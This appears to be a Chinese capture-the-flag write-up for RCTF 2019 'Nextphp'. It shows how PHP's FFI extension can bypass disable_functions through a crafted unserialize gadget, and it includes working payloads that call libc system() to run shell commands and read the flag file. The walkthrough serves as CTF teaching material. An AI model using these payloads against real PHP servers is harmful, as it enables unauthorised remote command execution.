• [RCTF 2019]Nextphp


    知识点;利用 FFI 绕过 disable_function
    
    • 1

    FFI 介绍与利用

    首先 FFI 肯定要开,且 PHP 版本肯定要早 7.4 以上
    在这里插入图片描述
    简介:
    FFI ,可以让我们直接在PHP脚本中调用C语言写的库中的函数。

    FFI 的安全性问题

    FFI虽然给了我们很大的灵活性,但是毕竟直接调用C库函数,还是非常具有风险性的,我们应该只容许用户调用我们确认过的函数,于是,ffi.enable=preload 就该上场了,当我们设置 ffi.enable=preload 的话,那就只有在opcache.preload 的脚本中的函数才能调用 FFI,而用户写的函数是没有办法直接调用的。

    也就是说如果设置了 ffi.enable=preload 的话,那么就不能在非 preload 文件中直接利用 FFI 漏洞了。
    在这里插入图片描述
    payload 格式:

    FFI::cdef("int system(char *command);","libc.so.6")->system("whoami");
    FFI::cdef("int system(char *command);")->system("whoami");
    
    • 1
    • 2

    getflag

    poc

    
    final class A implements Serializable {
        protected $data = [
            'ret' => null,
            'func' => 'FFI::cdef',
            'arg' => 'int system(char *command);'
        ];
    
        private function run () {
            echo "run
    "
    ; $this->data['ret'] = $this->data['func']($this->data['arg']); } public function serialize (): string { return serialize($this->data); } public function __unserialize(array $data) { array_merge($this->data, $data); $this->run(); } public function unserialize($payload) { $this->data = unserialize($payload); $this->run(); } public function __get ($key) { return $this->data[$key]; } public function __set ($key, $value) { throw new \Exception('No implemented'); } public function __construct () { } } $a = new A(); echo serialize($a);
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40

    payload:

    ?a=$a=unserialize('C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}')->__serialize()['ret']->system('cat /flag | tee 1.txt');
    
    • 1

    然后访问 1.txt 就可以了。

    在这里插入图片描述

    payload 解释

    先解释一下 poc 为什么要删除 __serialize() 函数,首先如果不删 __serialize() 函数的话,在序列化的时候会直接直接执行 __serialize() 函数,然后就不执行 serialize() 函数了。

    不删 __serialize()  函数
    O:1:"A":3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}__serialize()  函数
    C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}
    
    • 1
    • 2
    • 3
    • 4
    • 5

    我们看一下两种情况下的 ->__serialize() ,也就是 $this->data;,可以明显看出不删的时候,data 值根本没有改变。

    如果有大师傅理解原理的话,望告之!!跪谢!!

    不删 __serialize() 函数

    在这里插入图片描述
    删 __serialize() 函数
    在这里插入图片描述

    这边贴一下解释文档

    In principle, this makes existing strings serialized in O format fully interoperable with the new serialization mechanism, the data is just provided in a different way (for __wakeup() in properties, for __unserialize() as an explicit array). If a class has both __sleep() and __serialize(), then the latter will be preferred. If a class has both __wakeup() and __unserialize() then the latter will be preferred.

    If a class both implements Serializable and __serialize()/__unserialize(), then serialization will prefer the new mechanism, while unserialization can make use of either, depending on whether the C (Serializable) or O (__unserialize) format is used. As such, old serialized strings encoded in C format can still be decoded, while new strings will be produced in O format.

    在这里插入图片描述
    为什么 payload 是这样的?

    反序列化后调用 __serialize 函数,返回的是处理好的 data 数组,此时的 __serialize()['ret']==data[ret] == FFI::cdef("int system(char *command);")

    unserialize('C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}')->__serialize()['ret']->system('cat /flag | tee 1.txt');->__serialize()['ret']->system('cat /flag | tee 1.txt');
    
    • 1

    关于为什么 payload 里有system ,却还能绕过,这边就贴一下 Sk1y 大师傅的解释。
    在这里插入图片描述

    reference

    FFI 详解:
    https://www.laruence.com/2020/03/11/5475.html
    
    wp:
    https://blog.csdn.net/RABCDXB/article/details/120319633
    https://mochazz.github.io/2019/05/21/RCTF2019Web%E9%A2%98%E8%A7%A3%E4%B9%8Bnextphp/#nextphp
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
  • 相关阅读:
    Python【控制台输出案例2】
    JUC第七讲:关键字final详解
    R语言基于正则表达式筛选dataframe数据列、使用grepl函数按照正则表达式筛选数据列
    Java项目校园兼职平台(三层架构+设计模式重构版)小结
    App测试中ios和Android有哪些区别呢?
    java-php-python-婚纱影楼服务管理计算机毕业设计
    【Element-UI】实现动态树、数据表格及分页效果
    Go-手写注册中心
    nifi从入门到实战(保姆级教程)——flow
    程序设计与算法(三)C++面向对象程序设计 第一周 从C到C++ 笔记
  • 原文地址:https://blog.csdn.net/shinygod/article/details/127776407